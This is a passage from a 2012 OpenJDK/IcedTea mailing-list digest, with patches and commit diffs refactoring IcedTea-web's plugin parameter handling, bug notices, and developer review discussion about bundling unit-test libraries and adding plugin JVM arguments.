Tue Dec 04 14:02:08 > 2012 +0000 > @@ -1260,13 +1260,15 @@ > > JavaVM* jvm = NULL; > static int ToolkitErrorHandler(Display * dpy, XErrorEvent * event) { > + JNIEnv * env; > if (jvm != NULL) { > - JNIEnv * env = (JNIEnv *)JNU_GetEnv(jvm, JNI_VERSION_1_2); > - return JNU_CallStaticMethodByName(env, NULL, > "sun/awt/X11/XToolkit", "globalErrorHandler", "(JJ)I", > - ptr_to_jlong(dpy), > ptr_to_jlong(event)).i; > - } else { > - return 0; > + env = (JNIEnv *)JNU_GetEnv(jvm, JNI_VERSION_1_2); > + if (env) { > + return JNU_CallStaticMethodByName(env, NULL, > "sun/awt/X11/XToolkit", "globalErrorHandler", "(JJ)I", > + ptr_to_jlong(dpy), > ptr_to_jlong(event)).i; > + } > } > + return 0; > } > > /* > -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From helpcrypto at gmail.com Tue Dec 4 06:59:56 2012 From: helpcrypto at gmail.com (helpcrypto helpcrypto) Date: Tue, 4 Dec 2012 15:59:56 +0100 Subject: [Bug 1202] New: SunPKCS11 ends with an incorrect template when importing sign-only (no decrypt) on card, PKCS11 does well In-Reply-To: References: Message-ID: Hi. A few days ago I reported [1]. As its a very-specific issue related to smartcards, I'll like to know if any of you is used to work with this lind of devices, to help him fix this bug and posibly other one found while using smartcards. IMHO the other bug could be somewhat related, and even could have a higher priority, but want to know who (if someone) has some knowledge about this field. Thanks! [1] 1202 SunPKCS11 ends with an incorrect template when importing sign-only (no decrypt) on card, PKCS11 does well -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121204/c1d81b0f/attachment.html From bugzilla-daemon at icedtea.classpath.org Tue Dec 4 07:25:24 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Tue, 04 Dec 2012 15:25:24 +0000 Subject: [Bug 1233] java.net.Inet4AddressImpl.getLocalHostName() causes SIGBUS error In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1233 --- Comment #8 from sato --- This can be fixed by following the change here. http://hg.openjdk.java.net/jdk7/jdk7/jdk/rev/ab13f19ee0ff Please close the SR. Thanks. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121204/4a440386/attachment.html From adomurad at icedtea.classpath.org Tue Dec 4 07:56:20 2012 From: adomurad at icedtea.classpath.org (adomurad at icedtea.classpath.org) Date: Tue, 04 Dec 2012 15:56:20 +0000 Subject: /hg/icedtea-web: 2 new changesets Message-ID: changeset 741a105054af in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=741a105054af author: Adam Domurad date: Tue Dec 04 10:43:59 2012 -0500 Remove redundant HTML-tag scanner from ITW. Do not reconstruct tags. changeset 21756f8bedfc in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=21756f8bedfc author: Adam Domurad date: Tue Dec 04 10:54:14 2012 -0500 PluginAppletViewer refactoring diffstat: ChangeLog | 44 + Makefile.am | 4 +- netx/net/sourceforge/jnlp/NetxPanel.java | 57 +- netx/net/sourceforge/jnlp/PluginBridge.java | 64 +- netx/net/sourceforge/jnlp/PluginParameterException.java | 43 + netx/net/sourceforge/jnlp/PluginParameters.java | 238 ++ netx/net/sourceforge/jnlp/resources/Messages.properties | 1 + netx/net/sourceforge/jnlp/resources/Messages_cs_CZ.properties | 1 + plugin/icedteanp/IcedTeaNPPlugin.cc | 237 +-- plugin/icedteanp/IcedTeaNPPlugin.h | 4 +- plugin/icedteanp/java/sun/applet/PluginAppletPanelFactory.java | 228 ++ plugin/icedteanp/java/sun/applet/PluginAppletViewer.java | 822 +-------- plugin/icedteanp/java/sun/applet/PluginParameterParser.java | 90 + tests/cpp-unit-tests/IcedTeaPluginUtilsTest.cc | 2 +- tests/cpp-unit-tests/PluginParametersTest.cc | 93 + tests/netx/unit/net/sourceforge/jnlp/PluginBridgeTest.java | 53 +- tests/netx/unit/net/sourceforge/jnlp/PluginParametersTest.java | 114 + tests/netx/unit/sun/applet/PluginParameterParserTest.java | 73 + 18 files changed, 1153 insertions(+), 1015 deletions(-) diffs (truncated from 2691 to 500 lines): diff -r aff6fb36a9ab -r 21756f8bedfc ChangeLog --- a/ChangeLog Mon Dec 03 18:08:38 2012 +0100 +++ b/ChangeLog Tue Dec 04 10:54:14 2012 -0500 @@ -1,3 +1,47 @@ +2012-12-04 Adam Domurad + + PluginAppletViewer refactoring. + * plugin/icedteanp/java/sun/applet/PluginAppletViewer.java + (handleInitializationMessage): New, extracts initialization logic + from PluginAppletViewer.handleMessage. + * plugin/icedteanp/java/sun/applet/PluginAppletPanelFactory.java: Moved + into own file. + +2012-12-04 Adam Domurad + + Remove the applet/embed/object tag parser from ITW. Send the applet + parameters directly from the C++. + * Makefile.am: Allow unit-testing for classes in plugin.jar. + * netx/net/sourceforge/jnlp/NetxPanel.java: Use PluginParameters for + attribute lookup + * netx/net/sourceforge/jnlp/PluginBridge.java: Use PluginParameters + for attribute lookup + * netx/net/sourceforge/jnlp/resources/Messages.properties: Add message + for missing code/object attributes. + * netx/net/sourceforge/jnlp/resources/Messages_cs_CZ.properties: Same. + * plugin/icedteanp/IcedTeaNPPlugin.cc: Send escaped parameter + name/values instead of applet tag. Remove some dead code. + * plugin/icedteanp/IcedTeaNPPlugin.h: Rename applet_tag -> + parameters_string. + * plugin/icedteanp/java/sun/applet/PluginAppletViewer.java: Extract + parsing code into its own class. + * tests/cpp-unit-tests/IcedTeaPluginUtilsTest.cc: Use CHECK_EQUALS + instead of CHECK. + * tests/netx/unit/net/sourceforge/jnlp/PluginBridgeTest.java: Update + unit tests due to constructor changes. + * netx/net/sourceforge/jnlp/PluginParameterException.java: New, thrown + when code/object attributes are missing. + * netx/net/sourceforge/jnlp/PluginParameters.java: New, Hashtable + wrapper that handles plugin attribute/parameter lookups. + * plugin/icedteanp/java/sun/applet/PluginParameterParser.java: New, + creates PluginParameters from escaped name/values. + * tests/cpp-unit-tests/PluginParametersTest.cc: New, C++ Unit tests for + plugin parameter related functions + * tests/netx/unit/net/sourceforge/jnlp/PluginParametersTest.java: New, + unit tests for PluginParameters class. + * tests/netx/unit/sun/applet/PluginParameterParserTest.java: New, unit + tests for PluginParameterParser class. + 2012-11-03 Jiri Vanek Fixed logging bottleneck diff -r aff6fb36a9ab -r 21756f8bedfc Makefile.am --- a/Makefile.am Mon Dec 03 18:08:38 2012 +0100 +++ b/Makefile.am Tue Dec 04 10:54:14 2012 -0500 @@ -969,7 +969,7 @@ mkdir -p $(NETX_UNIT_TEST_DIR) && \ $(BOOT_DIR)/bin/javac $(IT_JAVACFLAGS) \ -d $(NETX_UNIT_TEST_DIR) \ - -classpath $(JUNIT_JAR):$(NETX_DIR)/lib/classes.jar:$(TEST_EXTENSIONS_DIR) \ + -classpath $(JUNIT_JAR):$(DESTDIR)$(datadir)/$(PACKAGE_NAME)/plugin.jar:$(NETX_DIR)/lib/classes.jar:$(TEST_EXTENSIONS_DIR) \ @netx-unit-tests-source-files.txt && \ mkdir -p stamps && \ touch $@ @@ -999,7 +999,7 @@ done ; \ cd $(NETX_UNIT_TEST_DIR) ; \ class_names=`cat $(UNIT_CLASS_NAMES)` ; \ - CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):. \ + CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(DESTDIR)$(datadir)/$(PACKAGE_NAME)/plugin.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):. \ $(BOOT_DIR)/bin/java -Xbootclasspath:$(RUNTIME) CommandLine $$class_names if WITH_XSLTPROC $(XSLTPROC) --stringparam logs logs_unit.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(NETX_UNIT_TEST_DIR)/tests-output.xml > $(TESTS_DIR)/index_unit.html diff -r aff6fb36a9ab -r 21756f8bedfc netx/net/sourceforge/jnlp/NetxPanel.java --- a/netx/net/sourceforge/jnlp/NetxPanel.java Mon Dec 03 18:08:38 2012 +0100 +++ b/netx/net/sourceforge/jnlp/NetxPanel.java Tue Dec 04 10:54:14 2012 -0500 @@ -27,7 +27,6 @@ import java.net.URL; import java.util.HashMap; -import java.util.Hashtable; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentMap; @@ -45,12 +44,12 @@ * @author Francis Kung */ public class NetxPanel extends AppletViewerPanel implements SplashController { + private final PluginParameters parameters; private PluginBridge bridge = null; private boolean exitOnFailure = true; private AppletInstance appInst = null; private SplashController splashController; private boolean appletAlive; - private final String uKey; // We use this so that we can create exactly one thread group // for all panels with the same uKey. @@ -68,51 +67,24 @@ private static final ConcurrentMap appContextCreated = new ConcurrentHashMap(); - public NetxPanel(URL documentURL, Hashtable atts) { - super(documentURL, atts); + public NetxPanel(URL documentURL, PluginParameters params) { + super(documentURL, params.getUnderlyingHashtable()); - /* According to http://download.oracle.com/javase/6/docs/technotes/guides/deployment/deployment-guide/applet-compatibility.html, - * classloaders are shared iff these properties match: - * codebase, cache_archive, java_archive, archive - * - * To achieve this, we create the uniquekey based on those 4 values, - * always in the same order. The initial "=" parts ensure a - * bad tag cannot trick the loader into getting shared with another. - */ + this.parameters = params; - // Firefox sometimes skips the codebase if it is default -- ".", - // so set it that way if absent - String codebaseAttr = atts.get("codebase") != null ? - atts.get("codebase") : "."; - - String cache_archiveAttr = atts.get("cache_archive") != null ? - atts.get("cache_archive") : ""; - - String java_archiveAttr = atts.get("java_archive") != null ? - atts.get("java_archive") : ""; - - String archiveAttr = atts.get("archive") != null ? - atts.get("archive") : ""; - - this.uKey = "codebase=" + codebaseAttr + - "cache_archive=" + cache_archiveAttr + - "java_archive=" + java_archiveAttr + - "archive=" + archiveAttr; - - // when this was being done (incorrectly) in Launcher, the call was - // new AppThreadGroup(mainGroup, file.getTitle()); + String uniqueKey = params.getUniqueKey(); synchronized(TGMapMutex) { - if (!uKeyToTG.containsKey(this.uKey)) { + if (!uKeyToTG.containsKey(uniqueKey)) { ThreadGroup tg = new ThreadGroup(Launcher.mainGroup, this.documentURL.toString()); - uKeyToTG.put(this.uKey, tg); + uKeyToTG.put(uniqueKey, tg); } } } // overloaded constructor, called when initialized via plugin - public NetxPanel(URL documentURL, Hashtable atts, + public NetxPanel(URL documentURL, PluginParameters params, boolean exitOnFailure) { - this(documentURL, atts); + this(documentURL, params); this.exitOnFailure = exitOnFailure; this.appletAlive = true; } @@ -129,6 +101,7 @@ //Overriding to use Netx classloader. You might need to relax visibility //in sun.applet.AppletPanel for runLoader(). + @Override protected void runLoader() { try { @@ -138,7 +111,7 @@ getCode(), getWidth(), getHeight(), - atts, uKey); + parameters); doInit = true; dispatchAppletEvent(APPLET_LOADING, null); @@ -188,6 +161,7 @@ * the applet */ // Reminder: Relax visibility in sun.applet.AppletPanel + @Override protected synchronized void createAppletThread() { // initialize JNLPRuntime in the main threadgroup synchronized (JNLPRuntime.initMutex) { @@ -208,8 +182,7 @@ } public void updateSizeInAtts(int height, int width) { - this.atts.put("height", Integer.toString(height)); - this.atts.put("width", Integer.toString(width)); + parameters.updateSize(width, height); } public ClassLoader getAppletClassLoader() { @@ -222,7 +195,7 @@ public ThreadGroup getThreadGroup() { synchronized(TGMapMutex) { - return uKeyToTG.get(uKey); + return uKeyToTG.get(parameters.getUniqueKey()); } } @@ -232,7 +205,7 @@ } // only create a new context if one hasn't already been created for the // applets with this unique key. - if (null == appContextCreated.putIfAbsent(uKey, Boolean.TRUE)) { + if (null == appContextCreated.putIfAbsent(parameters.getUniqueKey(), Boolean.TRUE)) { SunToolkit.createNewAppContext(); } } diff -r aff6fb36a9ab -r 21756f8bedfc netx/net/sourceforge/jnlp/PluginBridge.java --- a/netx/net/sourceforge/jnlp/PluginBridge.java Mon Dec 03 18:08:38 2012 +0100 +++ b/netx/net/sourceforge/jnlp/PluginBridge.java Tue Dec 04 10:54:14 2012 -0500 @@ -45,26 +45,23 @@ */ public class PluginBridge extends JNLPFile { - private String name; + private PluginParameters params; private Set jars = new HashSet(); //Folders can be added to the code-base through the archive tag private List codeBaseFolders = new ArrayList(); private String[] cacheJars = new String[0]; private String[] cacheExJars = new String[0]; - private Map atts; private boolean usePack; private boolean useVersion; - private boolean codeBaseLookup; private boolean useJNLPHref; /** * Creates a new PluginBridge using a default JNLPCreator. */ public PluginBridge(URL codebase, URL documentBase, String jar, String main, - int width, int height, Map atts, - String uKey) + int width, int height, PluginParameters params) throws Exception { - this(codebase, documentBase, jar, main, width, height, atts, uKey, new JNLPCreator()); + this(codebase, documentBase, jar, main, width, height, params, new JNLPCreator()); } /** @@ -86,25 +83,24 @@ } public PluginBridge(URL codebase, URL documentBase, String archive, String main, - int width, int height, Map atts, - String uKey, JNLPCreator jnlpCreator) + int width, int height, PluginParameters params, JNLPCreator jnlpCreator) throws Exception { specVersion = new Version("1.0"); fileVersion = new Version("1.1"); this.codeBase = codebase; this.sourceLocation = documentBase; - this.atts = atts; + this.params = params; - if (atts.containsKey("jnlp_href")) { + if (params.getJNLPHref() != null) { useJNLPHref = true; try { // Use codeBase as the context for the URL. If jnlp_href's // value is a complete URL, it will replace codeBase's context. - URL jnlp = new URL(codeBase, atts.get("jnlp_href")); + URL jnlp = new URL(codeBase, params.getJNLPHref()); JNLPFile jnlpFile = null; - if (atts.containsKey("jnlp_embedded")) { - InputStream jnlpInputStream = new ByteArrayInputStream(decodeBase64String(atts.get("jnlp_embedded"))); + if (params.getJNLPEmbedded() != null) { + InputStream jnlpInputStream = new ByteArrayInputStream(decodeBase64String(params.getJNLPEmbedded())); jnlpFile = new JNLPFile(jnlpInputStream, codeBase, false); } else { jnlpFile = jnlpCreator.create(jnlp, null, false, JNLPRuntime.getDefaultUpdatePolicy(), codeBase); @@ -118,7 +114,7 @@ // Change the parameter name to lowercase to follow conventions. for (Map.Entry entry : jnlpParams.entrySet()) { - this.atts.put(entry.getKey().toLowerCase(), entry.getValue()); + this.params.put(entry.getKey().toLowerCase(), entry.getValue()); } JARDesc[] jarDescs = jnlpFile.getResources().getJARs(); for (JARDesc jarDesc : jarDescs) { @@ -128,7 +124,7 @@ } catch (MalformedURLException e) { // Don't fail because we cannot get the jnlp file. Parameters are optional not required. // it is the site developer who should ensure that file exist. - System.err.println("Unable to get JNLP file at: " + atts.get("jnlp_href") + System.err.println("Unable to get JNLP file at: " + params.getJNLPHref() + " with context of URL as: " + codeBase.toExternalForm()); } } else { @@ -138,14 +134,14 @@ } // also, see if cache_archive is specified - String cacheArchive = atts.get("cache_archive"); - if (cacheArchive != null && cacheArchive.length() > 0) { + String cacheArchive = params.getCacheArchive(); + if (!cacheArchive.isEmpty()) { String[] versions = new String[0]; // are there accompanying versions? - String cacheVersion = atts.get("cache_version"); - if (cacheVersion != null) { + String cacheVersion = params.getCacheVersion(); + if (!cacheVersion.isEmpty()) { versions = cacheVersion.split(","); } @@ -162,8 +158,8 @@ } } - String cacheArchiveEx = atts.get("cache_archive_ex"); - if (cacheArchiveEx != null && cacheArchiveEx.length() > 0) { + String cacheArchiveEx = params.getCacheArchiveEx(); + if (!cacheArchiveEx.isEmpty()) { cacheExJars = cacheArchiveEx.split(","); } @@ -178,19 +174,13 @@ } } - name = atts.get("name"); - if (name == null) - name = "Applet"; - else - name = name + " applet"; - if (main.endsWith(".class")) main = main.substring(0, main.length() - 6); // the class name should be of the form foo.bar.Baz not foo/bar/Baz String mainClass = main.replace('/', '.'); - launchType = new AppletDesc(name, mainClass, documentBase, width, - height, atts); + launchType = new AppletDesc(params.getAppletTitle(), mainClass, documentBase, width, + height, params.getUnmodifiableMap()); if (main.endsWith(".class")) //single class file only security = new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, @@ -198,11 +188,11 @@ else security = null; - this.uniqueKey = uKey; + this.uniqueKey = params.getUniqueKey(); usePack = false; useVersion = false; - String jargs = atts.get("java_arguments"); - if (jargs != null) { + String jargs = params.getJavaArguments(); + if (!jargs.isEmpty()) { for (String s : jargs.split(" ")) { String[] parts = s.trim().split("="); if (parts.length == 2 && Boolean.valueOf(parts[1])) { @@ -214,12 +204,10 @@ } } } - String cbl = atts.get("codebase_lookup"); - codeBaseLookup = cbl == null || (Boolean.valueOf(cbl)); } public boolean codeBaseLookup() { - return codeBaseLookup; + return params.useCodebaseLookup(); } public boolean useJNLPHref() { @@ -235,7 +223,7 @@ } public String getTitle() { - return name; + return params.getAppletTitle(); } public ResourcesDesc getResources(final Locale locale, final String os, @@ -258,9 +246,7 @@ } boolean cacheable = true; - - String cacheOption = atts.get("cache_option"); - if (cacheOption != null && cacheOption.equalsIgnoreCase("no")) + if (params.getCacheOption().equalsIgnoreCase("no")) cacheable = false; for (String cacheJar : cacheJars) { diff -r aff6fb36a9ab -r 21756f8bedfc netx/net/sourceforge/jnlp/PluginParameterException.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/netx/net/sourceforge/jnlp/PluginParameterException.java Tue Dec 04 10:54:14 2012 -0500 @@ -0,0 +1,43 @@ +/* Copyright (C) 2012 Red Hat + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +IcedTea is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +02110-1301 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package net.sourceforge.jnlp; + +public class PluginParameterException extends RuntimeException { + public PluginParameterException(String detail) { + super(detail); + } +} diff -r aff6fb36a9ab -r 21756f8bedfc netx/net/sourceforge/jnlp/PluginParameters.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/netx/net/sourceforge/jnlp/PluginParameters.java Tue Dec 04 10:54:14 2012 -0500 @@ -0,0 +1,238 @@ +/* PluginAppletAttributes -- Provides parsing for applet attributes + Copyright (C) 2012 Red Hat + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +IcedTea is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +02110-1301 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package net.sourceforge.jnlp; + +import java.util.Collections; +import java.util.Hashtable; +import java.util.Map; + +import static net.sourceforge.jnlp.runtime.Translator.R; + +/** + * Represents plugin applet parameters, backed by a Hashtable. + */ + +public class PluginParameters { + private final Hashtable parameters; + + public PluginParameters(Map params) { + this.parameters = createParameterTable(params); + From adomurad at icedtea.classpath.org Tue Dec 4 08:09:16 2012 From: adomurad at icedtea.classpath.org (adomurad at icedtea.classpath.org) Date: Tue, 04 Dec 2012 16:09:16 +0000 Subject: /hg/icedtea-web: Fix grammar in splash screen exception message Message-ID: changeset a2b41a1af97c in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=a2b41a1af97c author: Adam Domurad date: Tue Dec 04 11:09:03 2012 -0500 Fix grammar in splash screen exception message diffstat: ChangeLog | 5 +++++ netx/net/sourceforge/jnlp/resources/Messages.properties | 2 +- 2 files changed, 6 insertions(+), 1 deletions(-) diffs (24 lines): diff -r 21756f8bedfc -r a2b41a1af97c ChangeLog --- a/ChangeLog Tue Dec 04 10:54:14 2012 -0500 +++ b/ChangeLog Tue Dec 04 11:09:03 2012 -0500 @@ -1,3 +1,8 @@ +2012-12-04 Adam Domurad + + * netx/net/sourceforge/jnlp/resources/Messages.properties: + "An serious exception have occured" -> "A serious exception occurred" + 2012-12-04 Adam Domurad PluginAppletViewer refactoring. diff -r 21756f8bedfc -r a2b41a1af97c netx/net/sourceforge/jnlp/resources/Messages.properties --- a/netx/net/sourceforge/jnlp/resources/Messages.properties Tue Dec 04 10:54:14 2012 -0500 +++ b/netx/net/sourceforge/jnlp/resources/Messages.properties Tue Dec 04 11:09:03 2012 -0500 @@ -453,7 +453,7 @@ SPLASHdescription = Description SPLASHClose= Close SPLASHclosewAndCopyException = Close and copy StackTrace to clipboard -SPLASHexOccured = Sorry, an serious exception have occurred... +SPLASHexOccured = Sorry, a serious exception occurred... SPLASHHome = Home SPLASHcantCopyEx = Can not copy exception SPLASHnoExRecorded = No exception recorded From omajid at redhat.com Tue Dec 4 08:56:32 2012 From: omajid at redhat.com (Omair Majid) Date: Tue, 04 Dec 2012 11:56:32 -0500 Subject: [rfc][icedtea-web] C++ unit tests support for ITW :D In-Reply-To: <50ABF09E.4090408@redhat.com> References: <50ABF09E.4090408@redhat.com> Message-ID: <50BE2B40.2030006@redhat.com> Hi, On 11/20/2012 04:05 PM, Adam Domurad wrote: > - Two new folders in tests/, UnitTest++ and cpp-unit-tests. > - UnitTest++ contains the source of UnitTest++ (minus test cases > which I decided to not copy over for simplicity). The makefile provided > is not used, instead a simple for loop over the source is used to > compile it in the target for the library. Feel free to advise ways to > improve this. Was there any particular reason why you chose to bundle UnitTest++ instead of using it as a library? Bundling generally causes problems down the line. Many developers [0][1] and distributions [2][3][4] are not happy with it. Thanks, Omair [0] http://blog.flameeyes.eu/2009/03/bundling-libraries-the-curse-of-the-ancients [1] http://lwn.net/Articles/450595/ [2] http://www.debian.org/doc/debian-policy/ch-source.html#s-embeddedfiles [3] http://fedoraproject.org/wiki/Packaging:No_Bundled_Libraries [4] http://wiki.gentoo.org/wiki/Why_not_bundle_dependencies -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From adomurad at redhat.com Tue Dec 4 09:37:11 2012 From: adomurad at redhat.com (Adam Domurad) Date: Tue, 04 Dec 2012 12:37:11 -0500 Subject: [rfc][icedtea-web] C++ unit tests support for ITW :D In-Reply-To: <50BE2B40.2030006@redhat.com> References: <50ABF09E.4090408@redhat.com> <50BE2B40.2030006@redhat.com> Message-ID: <50BE34C7.10302@redhat.com> On 12/04/2012 11:56 AM, Omair Majid wrote: > Hi, > > On 11/20/2012 04:05 PM, Adam Domurad wrote: >> - Two new folders in tests/, UnitTest++ and cpp-unit-tests. >> - UnitTest++ contains the source of UnitTest++ (minus test cases >> which I decided to not copy over for simplicity). The makefile provided >> is not used, instead a simple for loop over the source is used to >> compile it in the target for the library. Feel free to advise ways to >> improve this. > Was there any particular reason why you chose to bundle UnitTest++ > instead of using it as a library? Bundling generally causes problems > down the line. Many developers [0][1] and distributions [2][3][4] are > not happy with it. > > Thanks, > Omair > > [0] > http://blog.flameeyes.eu/2009/03/bundling-libraries-the-curse-of-the-ancients > [1]http://lwn.net/Articles/450595/ > [2]http://www.debian.org/doc/debian-policy/ch-source.html#s-embeddedfiles > [3]http://fedoraproject.org/wiki/Packaging:No_Bundled_Libraries > [4]http://wiki.gentoo.org/wiki/Why_not_bundle_dependencies > I do agree. I chose to take this route because it was the easiest way to get _something_ in. I am definitely looking into replacing it with something that is packaged in Fedora (unfortunately Unittest++ is not). This was the simplest integration option considering that C++ unit tests were needed for what I was working on. I'm having trouble picking a suitable unittesting library, any feedback is appreciated. Happy hacking, -Adam From adomurad at redhat.com Tue Dec 4 11:25:40 2012 From: adomurad at redhat.com (Adam Domurad) Date: Tue, 04 Dec 2012 14:25:40 -0500 Subject: [RFC][icedtea-web]: Set plugin JVM options in itw-settings In-Reply-To: <50BD206B.8020209@redhat.com> References: <508ED961.4070705@redhat.com> <509130B7.8090508@redhat.com> <50AD1CC6.2060103@redhat.com> <50AD442B.1050903@redhat.com> <50BD206B.8020209@redhat.com> Message-ID: <50BE4E34.6000201@redhat.com> On 12/03/2012 04:58 PM, Saad Mohammad wrote: > Hi Adam, > > Thanks for the feedback! I decided to go with your recommendation to remove > manual memory allocation/deallocation and took advantage of std::string! > > Updated patch is attached. > > CHANGELOG > ======================================================================== > 2012-12-03 Saad Mohammad > > Added new option in itw-settings which allows users to set JVM > arguments when plugin is initialized. > * netx/net/sourceforge/jnlp/config/Defaults.java (getDefaults): > Added defaults for DeploymentConfiguration.KEY_PLUGIN_JVM_ARGUMENTS. > * netx/net/sourceforge/jnlp/config/DeploymentConfiguration.java: > Added new property (KEY_PLUGIN_JVM_ARGUMENTS) which stores the value of > JVM plugin arguments. > * netx/net/sourceforge/jnlp/controlpanel/ControlPanel.java: > (createMainSettingsPanel): Added JVM settings to the list of tabs. > (createJVMSettingsPanel): Returns a new JVMPanel object. > * netx/net/sourceforge/jnlp/controlpanel/JVMPanel.java: > JVM settings panel. > * netx/net/sourceforge/jnlp/resources/Messages.properties: > Added a new items (CPJVMPluginArguments, CPHeadJVMSettings, > CPTabJVMSettings). > * plugin/icedteanp/IcedTeaNPPlugin.cc: > (plugin_start_appletviewer): Adds JVM arguments to the commands line list. > (get_jvm_args): Returns JVM arguments set in itw-settings. > * plugin/icedteanp/IcedTeaPluginUtils.cc: > (IcedTeaPluginUtilities::vectorstring_to_vectorgchar): New helper method > which returns a vector of gchar* from the vector of strings passed. > * plugin/icedteanp/IcedTeaPluginUtils.h: > Declaration of IcedTeaPluginUtilities::vectorstring_to_vectorgchar. > > ======================================================================== > Thanks for sticking with it :) Comments below > diff --git a/netx/net/sourceforge/jnlp/config/Defaults.java b/netx/net/sourceforge/jnlp/config/Defaults.java > --- a/netx/net/sourceforge/jnlp/config/Defaults.java > +++ b/netx/net/sourceforge/jnlp/config/Defaults.java > @@ -378,6 +378,12 @@ > DeploymentConfiguration.KEY_UPDATE_TIMEOUT, > BasicValueValidators.getRangedIntegerValidator(0, 10000), > String.valueOf(500) > + }, > + //JVM arguments for plugin > + { > + DeploymentConfiguration.KEY_PLUGIN_JVM_ARGUMENTS, > + null, > + null > } > }; > > diff --git a/netx/net/sourceforge/jnlp/config/DeploymentConfiguration.java b/netx/net/sourceforge/jnlp/config/DeploymentConfiguration.java > --- a/netx/net/sourceforge/jnlp/config/DeploymentConfiguration.java > +++ b/netx/net/sourceforge/jnlp/config/DeploymentConfiguration.java > @@ -158,6 +158,11 @@ > public static final String KEY_BROWSER_PATH = "deployment.browser.path"; > public static final String KEY_UPDATE_TIMEOUT = "deployment.javaws.update.timeout"; > > + /* > + * JVM arguments for plugin > + */ > + public static final String KEY_PLUGIN_JVM_ARGUMENTS= "deployment.plugin.jvm.arguments"; > + > public enum ConfigType { > System, User > } > diff --git a/netx/net/sourceforge/jnlp/controlpanel/ControlPanel.java b/netx/net/sourceforge/jnlp/controlpanel/ControlPanel.java > --- a/netx/net/sourceforge/jnlp/controlpanel/ControlPanel.java > +++ b/netx/net/sourceforge/jnlp/controlpanel/ControlPanel.java > @@ -226,6 +226,7 @@ > // new SettingsPanel(Translator.R("CPTabClassLoader"), createClassLoaderSettingsPanel()), > new SettingsPanel(Translator.R("CPTabDebugging"), createDebugSettingsPanel()), > new SettingsPanel(Translator.R("CPTabDesktopIntegration"), createDesktopSettingsPanel()), > + new SettingsPanel(Translator.R("CPTabJVMSettings"), createJVMSettingsPanel()), > new SettingsPanel(Translator.R("CPTabNetwork"), createNetworkSettingsPanel()), > // TODO: This is commented out since this is not implemented yet > // new SettingsPanel(Translator.R("CPTabRuntimes"), createRuntimesSettingsPanel()), > @@ -319,6 +320,10 @@ > return new SecuritySettingsPanel(this.config); > } > > + private JPanel createJVMSettingsPanel() { > + return new JVMPanel(this.config); > + } > + > /** > * This is a placeholder panel. > * > diff --git a/netx/net/sourceforge/jnlp/controlpanel/JVMPanel.java b/netx/net/sourceforge/jnlp/controlpanel/JVMPanel.java > new file mode 100644 > --- /dev/null > +++ b/netx/net/sourceforge/jnlp/controlpanel/JVMPanel.java > @@ -0,0 +1,85 @@ > +/* PluginPanel.java > +Copyright (C) 2012, Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY 